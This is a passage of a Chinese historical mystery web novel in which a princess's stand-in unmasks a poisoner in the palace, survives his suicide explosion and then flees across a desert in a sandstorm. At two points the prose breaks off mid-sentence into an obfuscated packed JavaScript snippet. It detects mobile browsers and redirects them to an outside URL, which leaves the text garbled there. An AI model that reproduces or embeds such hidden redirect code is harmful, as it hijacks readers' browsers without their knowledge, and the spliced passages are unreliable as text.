皇帝略带愧疚地点点头道:“朕知此举于卿为难,此事若成,卿功莫大焉。” 尤微兰呆坐在绣墩上,没有行礼也没有说话,皇帝也没有为难,殿内一阵沉默。 前去通传的小太监很快便领着仵作进来了,这次却并没有退下,而是递给尤微兰一把团扇,然后站到皇帝身侧。 尤微兰深吸一口气,戏还得接着演,她举着团扇半掩着脸说道:“父皇,这便是给替身查验的仵作。” 仵作跪在地上低着头,大气也不敢喘一下,声音微微颤抖:“参见陛下。参见太子殿下。参见顺禾公主。” 皇帝半靠在圈椅上:“说说你查验的结果。” 仵作紧张地伏在地上,回答道:“回陛下,经小人的查验,亡者生前恐怕有慢性中毒的症状,例如面色发白,无甚食欲。” 尤微兰轻轻点头道:“不错,那你可知她身中何毒?” 仵作向尤微兰的方向偏了偏,声音有些犹豫:“回公主的话,亡者…似乎是食用了紫阳花的花瓣才中毒的。” 6. 第6章 天色一点点暗下去,小太监从帷幔的阴影里走出来,点起了案前和书架旁的两盏晶莹剔透的琉璃灯。 灯光轻盈摇曳,仿若给目之所及的人与物都蒙上了一层轻柔的薄纱。 尤微兰举着团扇,望着跪在地上的仵作,问:“为何是‘似乎’?” 仵作的头微微抬起,说:“回公主的话,小人并未在亡者的体内查验出紫阳花的株体或是花瓣,但误食紫阳花后会有苦杏仁的气味,小人查验时闻到了。” 尤微兰若有所思地点点头,太子则饶有兴趣地盯着她的眼睛,问跪在地上的仵作:“还有其它的吗?” 地上的人底气不足也似,声音小了几分:“还有,还有就是昨夜亡者应是被人一次性下了过量的毒,足以致命。但亡者是失血过多而亡,因心口那处梅花状的伤口毙命。其余便没有了。” 皇帝看了一眼表情认真的尤微兰,对地上的人说道:“既无其他线索,便退下吧!祁公公,带他下去领赏。” 仵作闻言千恩万谢地重重磕了几个头,欣喜地跟着小太监下去了。 尤微兰眼皮一跳,这“赏”恐怕会要了仵作的命,听着两人已经走出殿外,她起身半跪在地上:“陛下,此人并不知晓臣女的真实身份……” “微兰,此事关乎皇家颜面,这仵作又接触过公主,不可冒险。”皇帝打断她的话。 尤微兰蹙眉缓缓低下头,她想断案就是希望天下少几个冤魂,现在竟然要因为断案白白牺牲一条人命。 自己的命运还尚且不能掌控,救他人于水火,真是痴心妄想。 一旁的太子从官帽椅上起身,认真道:“父皇,不如先留着那仵作,现在两件案子尚未明了,此人还有用。” 尤微兰没想到太子居然会求情,感激地看向对方,附和道:“太子殿下所言,臣女深以为然,此案未结,还有需要仵作的地方。” 皇帝轻叹一声道:“既是如此,那便暂且留他一命。” 尤微兰松了口气,规矩地行了礼:“陛下仁厚,心怀慈悲,我等感佩于心。” 然后话锋一转,回到案子上:“陛下,原本臣女对凶手只是有些猜测,方才听闻仵作查验的结果,现已得知凶手的作案手法和嫌疑人,还望陛下能许周公公和公主身边的婢女与侍从入内对峙。” 皇帝紧蹙的眉头舒缓开来,终于有了些高兴的神色:“好,你快将他们领进来。” 尤微兰伏了伏身子:“是。” 她低着头转身快步绕过案前的屏风,可由于起身的速度太快,加上晚上什么东西也没吃,一个不稳踉跄了几步。 太子瞥见她的动作,抬手虚扶了扶:“小心。” 尤微兰微微颔首,闪身避开了太子的手,然后快速走入屏风后的黑暗中。 她现在只想离开这里。 正厅没有点灯,尤微兰走得一脚深一脚浅,这一天发生了太多事,她的脑子此刻只剩下一个“饿”和一个“困”。 刚才的五味杂陈早已烟消云散,尤微兰麻木地拖动着自己的双腿。 长时间的站立和没有一刻停止思考的大脑让她有些筋疲力竭,晃晃悠悠地走到门口,扶着墙闭眼长长舒了一口气。 正当她准备推门出去时,刚才的小太监祁坤先一步推门进入,身后还跟着一个有些眼熟的小宫女。 尤微兰眯起双眼正想看清那小宫女的样貌,两人却急匆匆行了个礼便离开了。 她此时的反应不比古稀之年的老妪快多少,等人已经从正厅消失,她才慢吞吞推开门朝外走去。 管他和亲不和亲,凶手不凶手的,身不由己,也只能走一步看一步了。 尤微兰不信,这天下还没有她的容身之所吗? 周公公等人还似雕塑一般直挺挺站在台阶下等着通传,敖云则是跟身旁的回绥小侍卫一起,依靠在栏杆上闭目养神。 尤微兰走下台阶,在几人面前站定:“周公公,陛下传你们进去。莲心,你同花匠师傅在外等候。” 莲心小心看了看周公公的神色,然后说道:“小…公主,您还未用晚膳,婢子这里有些点心,不若先用一些。” 尤微兰听到“点心”两个字眼睛都直冒绿光,混沌的神色立刻变成了原始的本能,直接将手伸到莲心面前。 莲心见状一愣,连忙从口袋里拿出油纸包裹的茶酥小饼递给她。 尤微兰几乎是接到的一瞬间就囫囵个塞到嘴里,动作行云流水一气呵成。 周公公正想慢条斯理地出声劝阻,可惜还不等他说一个字,尤微兰已经将嘴里的茶酥嚼完咽到了肚子里。 吃到了东西,尤微兰的眼神终于清明了一些:“有水吗?” “公主若是不嫌弃,在下这里有水囊。”敖云的声音从身后传来。 周公公这次把握了先机,赶紧说道:“公主,陛下还等……” “多谢。”尤微兰连嘴角的残渣都顾不上擦,完全没理会周公公的话,转头看向敖云。 敖云爽快地将腰间的水囊解下递给她,尤微兰也是毫不客气,打开塞子灌了几口。 敖云盯着尤微兰的动作,颇有几分惊讶。 顺禾公主,今日似乎很是不同。没有了往日身居高位的傲慢,和恪守皇家礼仪规矩的居高临下,反倒多了几分天真的率性。 而周公公的表情堪称精彩,尤微兰也是大家闺秀,居然用外男的水囊喝水,还顶着公主的名号! 体力得到补充的尤微兰终于缓过神来,将水囊递回去,眼神中是得以果腹的满足:“迎亲使的水囊真是好别致。” 水囊精致秀气,细腻的皮面上绣着清秀可爱的几朵绒花。 敖云接过水囊笑道:“舍妹总是丢三落四,回绥到大虞路途遥远,没有水囊寸步难行,在下便替她保管了。” “公主,还是先赶紧进去吧!陛下与太子殿下正等着。”周公公见两人你一言我一语,赶忙插了句话。 尤微兰点点头道:“那本宫先行一步。” 周公公闻言松了口气,惶恐地擦了擦头上的汗,尤微兰看着是个柔弱的世家小姐,怎么总干出些出人意料的事。 尤微兰心中稍稍畅快了些,她不甘被如此安排余生,却不能反抗。她偏要逾矩,偏要做个不像公主的公主,就算旁人看出来了又能怎样,无论如何她都已经是顺禾公主了。 这样想着,她的步子都变得轻快了起来,领着几人终于进了紫宸殿。 周公公身后跟着玉蝉、安吉与安昌站在屏风前,几人皆是屏息凝神,生怕举止有失。 皇帝身后站着小太监祁坤和方才与尤微兰擦肩而过的那个小宫女,两人藏在阴影里,像是庙里的泥塑娃娃。 见人已到齐,皇帝开口道:“微兰,你既已知晓作案手法和嫌疑人,便来说说。” 尤微兰上前两步,说道:“陛下,要解此案,还需回顾昨日公主的日程和他们三人的日程。 “玉蝉昨日上午当值,下午休沐。期间公主将礼部的宋大人赔罪的团花糕分了些给玉蝉。而玉蝉为了等玉梓,便将团花糕放在了小厨房便离开了。 “恰好当天值夜的侍卫偷吃了这团花糕,上吐下泻,以为是糕点坏了,这才没能及时听到门外德妃娘娘的声音。” 太子一手支着下巴,说道:“这么说来,是这团花糕有问题了。” 尤微兰点点头,继续道:“太子殿下英明,的确是团花糕,但有问题的却并非只有团花糕。周公公说公主近日总是面色苍白食欲不振,所以是有人长期在公主的吃食中下毒。 “宫中药品取用殊为不易,因此公主所中之毒与导致侍卫上吐下泻的团花糕皆用的是同一种毒。听闻公主前些日子培育出了新的紫阳花,却总有紫阳花失窃后又找到的传闻。 “臣女在万芳阁的内间内找到了些许紫阳花的花瓣,并在公主的遗体旁发现了蜡泪沾在案上的花瓣,所以下毒者便是先将花藏在万芳阁的内间取他要的花瓣,然后将花瓣的汁液收集起来以便下毒。此人也是里应外合,帮助凶手杀死公主的叛徒。” 太子眼中的赞赏愈发明显,追问道:“是谁?” 尤微兰转身看向周公公身后:“是安昌。” 安昌惊恐地抬起头,声音带着哭腔:“不……不是我。陛下,小子自小跟着公主绝无二心啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113836|164127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝看向尤微兰,问:“可有证据佐证?” 尤微兰指向他腰间的荷包:“回陛下,他的荷包里便有紫阳花的花瓣和收集的汁液。” 皇帝身后的小太监走上前来,以迅雷不及掩耳之势扯下安昌腰间的荷包,然后恭敬地呈到皇帝面前。 皇帝解开荷包上的绦带,里面赫然是一小撮已经失去水分的紫阳花瓣和一只短笔杆一样的细小竹筒。 安昌看着丢在案上的荷包,声泪俱下:“这些是公主赏赐给我的,还请陛下明鉴啊!” 尤微兰好整以暇地坐在绣墩上,继续说道:“别着急,还没说完呢。之前同周公公讲过,我有一个猜测,需等花匠师傅查验过花土才能证实。而经查验,花土里有虫蜕一样的碎屑和玉沙,还有淡淡的血腥味。而御花园中挖出来的骨头似虫蛀般皆是孔洞,且同样出现了玉沙。不知陛下与太子殿下可知,西域一种叫做骨秽玉的虫子。” 太子挑眉,了然地点点头:“闻有此虫,以尸为食。传闻西域曾有一将军,无法将自己战死的部下带回家乡,便用此虫将尸体蚕食,把虫子啃食后得到的玉沙带回给部下的家人。只是这骨秽玉只在传闻中听到过,想不到竟真的存在。” 安昌怪笑一声,死咬着下唇,渗出点点血迹来,几乎是怨恨地说道:“那又如何,这怎能说明是我杀害的公主?” 尤微兰指了指他的衣袖:“从昨日公主出事到现在,你还没来得及换衣服吧?花盆中出现骨秽玉的虫蜕和玉沙,是因为你与你背后的主家在宫中杀了人,无法处理尸体,所以只好将尸体分解埋到土里,再放骨秽玉慢慢侵蚀。而从骨秽玉的名字就能听出来,这种虫子能将尸体的骨头变成玉沙,是因其在啃食尸体时会产生大量的酸。而你的袖口,恰好有一圈被酸烧得褪色的位置。” 安昌抬起衣袖,姿势却有些矫揉造作,一只手翘起小指捏住衣袖,阴阳怪气道:“呵,算你有点本事,竟然知道的这么详细。” 尤微兰蹙眉,隐隐察觉到安昌有些不对劲,面上却无甚波澜,接着说道:“你们最近杀的人,便是太子殿下的伴读——杨墨林。顺禾公主爱侍弄花草,所以庆福宫中有人翻弄花土并不奇怪,于是你们便将尸体分散埋到了庆福宫的花园内。 “可骨秽玉侵蚀尸体有大量的酸,虽说这酸会向下渗,可只怕也会烧死花,于是你们浇水时用了稀释后的石灰水,没想到却让花变了颜色。” 太子有些讶异,转头问道:“紫阳花竟是因石灰水变色?” 尤微兰点点头,说道:“正是如此,紫阳花的花色与其生长的土壤有关,若花土是酸腐土,那开的花便是红粉的颜色;若花土是轻碱土,那开的花就是蓝白色的了。” 皇帝此时面色沉重,声音中满是压抑的愤怒:“所以,顺禾是移栽时发现了土的问题,才被这逆贼杀人灭口的?” 尤微兰的眼神暗了暗,轻声道:“公主为培育花卉,特亲自取了花土费心钻研。你们怕事情暴露,便暗中给公主下毒让她在和亲前无心研究花土,又传出什么美颜偏方让公主替你们备下石灰水以便掩盖骨秽玉的痕迹。” 安昌的嘴角慢慢扯出一个诡异的角度,瘦小的身子莫名颤抖起来。 尤微兰察觉到对方的异样,立刻警惕起来,余光扫过地上的兰锜,随时准备拔剑自卫。 她站起身往皇帝身边走了几步,然后继续说道:“只是想要公主性命的,是两拨人,你们来晚了一步。德妃娘娘在万芳阁看到的白色人影,便是凶手将公主的尸身吊起来准备抛回到屋内时的景象。不过杀死公主的真凶基本可以确定,就在迎亲与送亲的队伍里。” “你们知道什么!顺禾公主?她不过是个从乱葬岗上捡回来的贱种!我才是真正的公主!”安昌突然一跃而起,癫狂地大喊着。 众人的脸色皆是一变,玉蝉与安吉面露惊恐,小心又不动声色地向一旁挪动几步。 安昌看见两人的动作,细声细气地发出一声冷笑:“你们!你们还捧着那贱婢!我今天便要夺回我的公主之位!” 说罢,从袖中拿出两只短刀,翻身跃上桌案,直直刺向大惊失色的皇帝。 7. 第 7 章 秋风乍起,寒意渐浓。 宫墙下的草木瑟瑟作响,不知从何处走出来的几个小太监,正捧着火折子轻声碎步走上玉阶,站在月台上用长杆挑下琉璃宝相花宫灯后点亮了。 朱墙碧瓦被宫灯映得颇有一番庄重典雅之韵,已没入暮色的紫宸宫霎时多了几分沉静。 尤微兰几人进去后,敖云便走回到月台栏杆旁依靠着闭目养神。 京城的风同塞北很不一样,即使已是深秋也是轻柔如羽毛,还夹杂着淡淡的柴草之香。 他细嗅着空气中的味道,脑子里思绪万千。 宋砚修走后,敖云便上楼同妹妹一起用午膳,顺便仔细研究了那支梅花箭。 梅花箭锈的厉害,已经看不出原本的样子,只留个大体的轮廓,稍稍用力就会掰断。 据敖云所知,梅花箭是玉龙会十五年前排名第七的侠士莫云愁独创的武器。 梅花箭暗藏机关,可根据使用者的力度、角度和设置其击中后的伤害方式来进攻,被其命中的人或物皆会留下梅花状的伤口。 因为梅花箭,莫云愁是玉龙会唯一一个身手一般却能排在前十的人。 只是到第十年再一次重新排名时,此人却突然消失不见了。 这生锈的梅花箭究竟是哪里来的?难道是莫云愁? 敖云一只手抚上自己的眉间,因寒风而泛红的指节流转在眉间。 小的时候他总爱皱眉,阿伊卡就会轻轻抚摸着他的额头,将皱成一团的眉毛用手指疏理开。 一旁的小侍卫抱着敖云的羊皮小袄和披风,倚着石墩正昏昏欲睡,瞥见他的动作立刻清醒过来,小心翼翼地低头,说话都变得磕巴起来:“叶,叶护。” 敖云没理会,抬眼看到在寒风中跺脚取暖的莲心和扯紧衣领的花匠师傅,心生疑惑。 虽然他来大虞不过月余,却见了不少大臣及其家眷。 他记得午前去万芳阁的时候,顺禾公主说那个婢女原是德妃娘娘宫里的,可看她的服饰不像是宫里的宫女,反倒像世家小姐的丫鬟。 而今天的顺禾公主也很是奇怪,言行举止都不似往常那般端庄,上次核对礼单事无巨细,这次竟然会记不清哪里有问题。 还有那个花匠,一个还不如扫洒宫婢的品位高的宫仆竟然被传召到了皇帝同大臣议事的紫宸殿。 怪事都凑了堆儿了。 敖云斜睨一眼战战兢兢的小侍卫,出声道:“把伊茹的绒花给我。” 小侍卫呆愣愣地看着他,不明所以地发出一声“啊?”。 敖云挑眉偏过头,盯着他的双眼,半笑不笑地说道:“你捡了伊茹的绒花,对吧?” 夜晚的温度将他带着体温的气息变成白色的雾团,飘散在半空中。 小侍卫一颤,立刻从腰间革带上的小口袋中拿出一支压扁了的浅金色玉兰绒花来,双手呈上。 用过午膳后,敖云便带着妹妹一同去了宋砚修提到的赏花宴,伊茹头一次见到中原的民间宴会,格外新鲜。 加上这赏花宴上不仅有花,还有各种做成花样子的小玩意儿,只顾新鲜的伊茹就像狗熊掰苞米,这个买了便顾不得之前买的东西了。 这小侍卫见伊茹的绒花掉在地上还被她踩了一脚,以为是不要的,便偷偷捡起来揣到怀里的口袋中。 敖云面上笑意不减,一只脚抵着栏杆借力起身,拿起绒花对小侍卫道:“我只借用片刻。”说着便朝莲心和花匠师傅走去。 莲心瞧见敖云朝自己的方向走来,立刻规矩地行礼道:“奴婢莲心见过迎亲使大人,大人万福。” 花匠见状,也有样学样地行礼说:“迎亲使大人万福。” 敖云抬手道:“不必多礼,起来吧!不知莲心姑娘是否知道这个。”说着便将那支玉兰绒花递了出去。 莲心小心接过,认真看过后恭敬道:“回大人的话,这是玉兰绒花。” 敖云双手抱臂,神色似有些苦恼:“这绒花是今日锦花园的赏花宴上舍妹掉的,可惜被她踩了一脚。我见样式别致,便想替她重新买上一支,不知哪里能买到?” 这是一句试探,如果莲心真的是德妃派到公主身边的人,那她便是一等宫婢,对市井采买定然不熟悉。而如果她是宫外的人,势必是了解这些闺阁女儿的小东西的。 莲心眼皮一跳,盯着手中这精致的绒花,心生警惕。她有些害怕这个迎亲使,总觉得对方是个皮笑肉不笑的笑面虎。 不过她也不是一般世家小姐身边唯唯诺诺的小丫鬟。 在尤府,尤微兰偷偷看卷宗,莲心就要守在一旁替她放风,还要顺便听她的推论;尤微兰偷偷跑出去打马球,莲心就要使尽浑身解数替她遮掩拖延时间,也要想尽办法给她通风报信。 迎亲使这句话,是在怀疑她不是宫里的人 莲心低着头,诚惶诚恐道:“奴婢孤陋寡闻,只识得这是玉兰绒花,并不知晓何处可以买得。” 敖云垂眸,正要说些什么,花匠却殷切道:“迎亲使大人,小的认得这绒花是哪家的手艺。” 莲心闻言,皱着眉悄悄打量起敖云的神色。 只见对方微微眯起双眸,问道:“你知道是哪家的绒花?” 花匠立刻露出一个讨好的笑,回答他:“小的就住在做这绒花的店家附近,这是东市珍宝斋最有名的手艺,东家是宋国公的外甥。” “宋国公?”敖云看向花匠,问道。 花匠好似得到嘉奖一般,说得更多了些:“回大人的话,宋国公与德妃娘娘是表姐弟,因此珍宝斋里的客人皆是名门望族。大人若是想去珍宝斋买绒花,可以……” “嘭!” 话说到一半,身后的紫宸殿的一扇殿门突然从内被一道剑光劈开,一个披头散发状若癫狂的人拿着两把短刀,从里面被一柄长剑逼出。 莲心被这突如其来的动静吓了一跳,定睛一看那跑出来的疯子,竟然是安昌! 而安昌身后举着剑步步紧逼的,正是自家小姐尤微兰。 剑影刀光似银蛇乱舞,刀风剑势凌厉无比,将原本静谧的夜色划破。 持刀者多出手利落,或横劈或纵砍,通常是借风之力出刀迅猛。可安昌的招式却有些诡谲,舞刀的动作阴柔,刀身翻转似流云,刀势如灵蛇般蜿蜒,伺机而动,让人防不胜防。 好在尤微兰反应快,几次躲过他的进攻。 这样下去难分胜负,必须速战速决。尤微兰眼神一凛,微微转动手腕,原本犀利的剑式如春风化雨般悄然转变,借安昌的剑势破了他的招。 一旁的莲心紧张地心都提在了嗓子眼,敖云却截然相反,悠然自得地双手抱胸,脸上甚至还带着一丝若有若无的微笑。 他知道顺禾公主习武,但没想到也是个能打的。 众人正看着台阶下的两人刀剑相向时,破损的殿门悄无声息地再次打开,太子同皇帝快速走了出来,身后跟着的是周公等人。 见皇帝出来,敖云三步并作两步,上前行礼道:“珠勒沁敖云参见陛下,陛下万福金安。” 皇帝颤抖地伸出一只手,指着尤微兰道:“免礼,还望迎亲使速速带公主离开。” 太子方才替皇帝挡刀,左臂有一条短却深的伤口,疼得额上满是细密的汗珠,却仍咬牙对敖云道:“宣武门早已备下车马,还请迎亲使带公主从宣武门离开。” 敖云面上闪过一丝迟疑,神色复杂道:“陛下,太子殿下为护您受了伤,不若暂缓几日。” 皇帝摆摆手,面色阴沉:“不,即刻启程。三日后朕会做一个假的送嫁宴,还望迎亲使莫要声张。” 敖云还要说些什么,太子强忍着疼痛道:“他们的目的不是刺杀父皇,而是刺杀公主,搅乱和亲。” 尤微兰此刻正与安昌打的难舍难分,手中的剑是个样子货,现在拿它和安昌的两把又快又利的刀对打格外辛苦。 安昌略一停顿,望着她冷笑道:“想不到,你竟然有这能耐,可惜啊!那狗皇帝已经准备将你当作弃子打发了。” 尤微兰微微喘着气,目光坚定道:“是啊!我已经是弃子了,可那又怎么样?只要我活着一天,就有机会翻盘。” 说罢便再次提剑向对方挥去,只是安昌却一动不动地站在原地,脸上还是诡异的笑,他突然拿出一只火折子猛的点燃了自己的袖子,然后癫狂地大笑道:“哈哈哈哈哈哈!翻盘?可惜没这个机会了,你,就给我陪葬吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113837|164127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 尤微兰隐隐闻到了火药的气味,立刻转身运气,几个闪转腾挪便到了十米开外。 她对不远处还在望向自己的莲心大喊道:“快跑!他身上有火药!” 火光瞬间吞噬了安昌瘦小的身影,伴着一声仿若惊雷般的巨响,尤微兰还是难免被爆炸波及,震晕在台阶下。 戈壁沙漠,广袤无垠,极目远眺,黄沙漫漫。 狂风卷着细沙肆意飞舞,烈日高悬,炙烤着这片荒芜之地。沙丘连绵起伏,仿佛金色的海浪。 三辆简陋的骆驼车正缓缓行驶勉强能辨认出来的黄土地上,车轴发出嘎吱嘎吱的响声。 在前面领着骆驼的,是一个身着白色长袍的小伙子,他被晒得汗流浃背,可戈壁上呼啸而过的冷风却提醒着他不要轻易脱下自己的长袍。 小伙子抬一抬手,吆喝了句方言,身后跟着的两辆骆驼车慢慢停下。 解了骆驼身上拉车的驼绳,小伙子利索地拿出一条布巾,扑了扑自己身上的灰土,这才走到车门处操着一口蹩脚的中原话对里面的人说道:“贵人,咱们在此休息休息吧!几只橐驼也累呢!” 车帘掀开,赫然是穿着一身水红色长裙的伊茹,她笑盈盈地将怀中包着的馕饼递给对方,说:“全听小师傅安排,这是京城新出的肉脯蜜馕饼,小师傅辛苦,尝尝吧!” 那馕饼模样精致,色泽金黄诱人,脆生生的馕饼中夹着裹满香甜蜜汁的鲜香肉脯,散发着浓郁的香气,叫人看了垂涎三尺。 小伙子长这么大还从未见过如此精致的吃食,一面在心中暗叹京城竟有如此色香味俱全的吃食,一面欣然收下。 伊茹见几人走到一旁分食馕饼,将手指放在唇间,吹出一声隼鸣似的口哨,后面的马车中立刻有人掀帘下来。 敖云走到伊茹身边,小声问道:“公主情况如何了?” 伊茹将手中带血的绷带缠成一个团递给他,回答说:“已经比前几日好多了,清醒的时间大概有半天左右。阿卡,等我们走到苛岚城便歇上几日吧!” 敖云接过绷带点点头,转身走回到自己的骆驼车旁。 自那晚的爆炸已过去九日,幸好尤微兰提醒及时,除了她自己无人受伤。只是当时情况紧急并未仔细查看,等敖云带着她到了宣武门才发现腿上有一处又长又深的伤口。 太医要跟着真正的和亲队伍,三日后才能出发,情急之下只好让伊茹先替尤微兰疗伤。 伊茹转身掀开车帘,看到尤微兰正闭着眼,面色苍白地躺在逼仄的车厢中。一旁的莲心早没了往日的神采,正拿着一方帕子替尤微兰轻轻拭去额头上的汗。 经过那日大虞皇帝的嘱托,敖云大概猜到了大虞后宫中有变故,只怕还有刺客会来暗杀公主,便隐姓藏名扮作几个游山玩水的侠客上了路。 大虞的皇帝说送亲的队伍和公主的陪嫁在苛岚城与他们会合,敖云快马加鞭想先到苛岚城休整,不料最近戈壁常有沙暴,只好请了领路人慢慢走。 伊茹小心坐到尤微兰身侧,小心地查看起她的伤口来。 莲心见她回来了,连忙将包袱中的蜜桔拿出来道:“多亏伊茹姑娘的医术,公主才能这么快醒来,吃些蜜桔吧!” 伊茹抬起头,双眼亮亮的。 听闻大虞的蜜桔香甜多汁、气味芬芳,她本想让阿卡买几个尝尝,可这蜜桔是只有富贵人家才吃得起的金贵水果,阿卡此次前来若是花大钱买蜜桔,恐怕回去就会被那几个拔了毛的秃鹫弹劾成骄奢淫逸。 莲心出城前特地将两人的名贵衣物与首饰当了换钱,然后又买了粗布长衣换上,剩下的钱有一半都买了这蜜桔。 漠北鲜少见蜜桔这类果子,若是路上遇到些需要打点的,可比金银管用。这几日莲心见伊茹尽心尽力地照顾尤微兰,心中很是感激,便想借此报答一二。 伊茹嘴上说着“这都是我的分内之事。”,眼睛却盯着蜜桔转不开。 莲心了然一笑,拉过她的手将蜜桔放上去道:“姑娘莫要客气,这也是理所当然的。姑娘拿去剥开皮便能吃了。” 伊茹不再推脱,正准备接过来尝尝味道时,车外却突然响起领驼小伙慌乱的声音:“不好啦!沙暴来啦!” 8. 第8章 车外黄沙漫天,天地骤然变色。 空气中弥漫着尘土的腥味,沙砾裹挟着黄尘将刚才还清晰炎热的烈阳完全遮掩,只留下一个浅淡的轮廓。呼啸而过的狂风将原本炽热的空气席卷而去,温度渐渐降下来,配合着被黄沙侵染得发红的天空,仿佛是妖魔鬼怪粉墨登场前的预告。 三个领驼人此刻已经将头上缠绕着的头巾拉出一截掩面,牵着骆驼艰难地顶着风前行。 走在最后的驼车里,坐的是玉蝉和安吉,还有尤微兰在紫宸殿见到的那个小宫女。 三人听到外面的动静皆是有些战战兢兢,玉蝉将车帘掀开,小心问道:“师傅,这沙暴来了我们还能走吗?” 给他们牵骆驼的少年将脸遮了个严实,扭过头说:“找个地方等沙暴过去便能走了,姑娘不必担心,沙暴在我们这常见。” 少年抬眼看了看玉蝉因风沙而皱成一团的小脸,好心提醒道:“姑娘还是戴个头巾挡一挡的好,这风里全是尘土。“ 伊茹也从车里探头出来,裹了层水红色的面纱,挟着沙的风将她的声音吹散开:“小师傅,我们找个大些的沙丘避一避风吧!” 走在最前面的领驼人比了个手势表示同意,一队人费力地行进在漫天黄沙中。 原本垫后的敖云让领驼人将三辆马车换了位置,把尤微兰的马车引到中间,自己则亲自下车引着骆驼走在最前面。 伊茹坐回到马车里,刚才期待明媚的心情荡然无存。她迅速将毛毡车帘扯紧压住,又努力把车窗挡严实,不让风沙吹进来。 莲心不明所以地捧着蜜桔看着她的动作,轻声问道:“怎么了?” 伊茹的脸色不大好,却仍强装镇定道:“没什么,就是要等上一会才能走了,沙暴一来不好挪动。” 说着从自己身后的小包裹里翻找出两条素色细纱头巾递给莲心:“带上这个,尘土大,还是有个东西挡一挡的好。” 尤微兰被这动静吵醒了,车内的光线昏暗,她下意识地皱眉眯着眼。 莲心见她醒了,连忙凑近对她说:“公主,外面起沙暴了,婢子给您带上头巾吧!“ 话音未落,狂风便将方才伊茹挡着的车窗吹开,翻飞的挡毡再也拦不住一粒风沙。尤微兰虚弱地抬手掩了一掩,一旁的两人一个起身重新将车窗掩住,一个则迅速将头巾给她缠上。 尤微兰有气无力地半坐起身,声音沙哑:“现在是什么时辰了?” 伊茹干脆挡在一边的车窗前,回答她:“已过未时了公主。” “贵人,前面有石林!我们要进去避避风吗?“车外的领驼小伙大喊道。 敖云的声音顺着风声传来:”先进去。“ 伊茹似是想起什么,从车中探出半个身子:“等等!此处临近喀斯,听闻有个奇怪的石林迷宫,人走进去了便很难再出来,我们还是找找其他挡风的沙丘吧!” 领驼小伙走近些,用两人都能听到的大嗓门喊道:“还有不到半个时辰天就要黑了,大漠里温度降的很快。瞧这沙暴恐怕是奔着刮一整晚去的,若是天黑前还找不到避风的地方,只怕我们都要交代在这里。” 敖云从舆前站起身,风将他的衣袍吹的紧紧贴在身上,蒙着的面纱勾勒出他的面容,传来的声音比刚才大了些:“我们就在石林口不进去,今晚先凑合凑合,等沙暴停了我们就走。” 伊茹略一思索,然后学着领驼人的样子比了个同意的手势。 几人便牵着骆驼车停在了石林的入口处。 沙暴丝毫没有要停下的意思,反而风势渐猛,刚才还只是黄沙与尘土,现在卷成团的草也顺着风旋飞上了天。 三辆骆驼车停在了一块被风侵噬成拱门一样的巨石后,领驼人也都纷纷上了车。 沙砾不断敲击着车厢,耳边尽是狂风呼啸的声音,一时间车内的氛围沉闷地有些尴尬。 尤微兰看了眼正低头撇着嘴玩自己小辫子的伊茹,问道:“伊茹姑娘方才提到的石林迷宫是?” 伊茹闻言抬起头,用那双与敖云几乎一模一样的眸子看向她,回答道:“在漠北有一个传说,每逢冬春时节,戈壁若是起了沙暴就会凭空出现一座吃人的石林迷宫,可别说走入这迷宫了,就是路过也会沾上不干净的东西被天上的鹫追着跑。“ 领驼的小伙子闻言一笑,应和着说道:”可不是,那石林诡异的很,听闻还会追着人跑。有的人在东边碰上便改道向北走,结果在北边又遇上了。“ 莲心面露担忧地看向帘子被风掀起一个角的车门,担心道:“那我们要不还是换个地方避风吧!” 小伙子顺着莲心地目光看出去,指了指为他们挡住沙暴的巨石道:“姑娘不必担心,你瞧,眼前这石头是灰白的。那吃人的石林是红色的巨石,此处的石林不止一处,只要小心避开便好了。” 莲心闻言大大地松了口气,尤微兰饶有兴致地继续问道:“那可有人从这个吃人的石林中走出来过?” 小伙子摩挲着自己的下巴,认真想着:“出来的人倒是有几个,只是都有些不正常。要么是变得痴傻不吃东西最后给自己饿死的,要么是疯疯癫癫见人便咬被赶出族里的,只有一个人出来后是安然无恙毫发无伤。” 伊茹也好奇起来,跟着追问道:“那人是谁?” 小伙子扯着嘴角露出一个神秘的笑:“姑娘不妨猜猜看。” 尤微兰猜道:“难道是有名的江湖侠客?” 小伙子有些惊奇地点点头,应道:“这位姑娘猜的不错,正是玉龙会的莫云愁。” 伊茹闻言撇了撇嘴,说道:“就这还要卖关子,漠北谁人不知玉龙会的几位本事大。说起来,我阿卡也是……“ ”伊茹……咳咳咳,帮我递一下水囊。“眼见她就要在这小伙子面前说漏嘴,尤微兰连忙咳嗽几声打断。 伊茹自知失言,慌忙抬起胳膊将水囊递过去掩饰自己微微发红的面颊。 莲心顺势转移话题道:“对了,还不曾问过小师傅的名字。” 小伙子黝黑的脸上是骄傲的笑:“我叫阿尤汗,领着前面那辆车的是我弟弟布里汗,领后面车的那个是我朋友库拜。诶,我记得库拜还见过一次那吃人的石林呢!” 尤微兰看着对方夸张的表情,不禁被逗笑了:“那还请小师傅讲讲,我对漠北的奇闻逸事知之甚少,这么一听属实是神秘又有趣,好奇的很。” 阿尤汗得意地拿起说书人一般的腔调来,黑曜石似的双眼露出些许狡黠,压低声音道:“此事说来话长,还要从先前提到的玉龙会高手莫云愁说起。 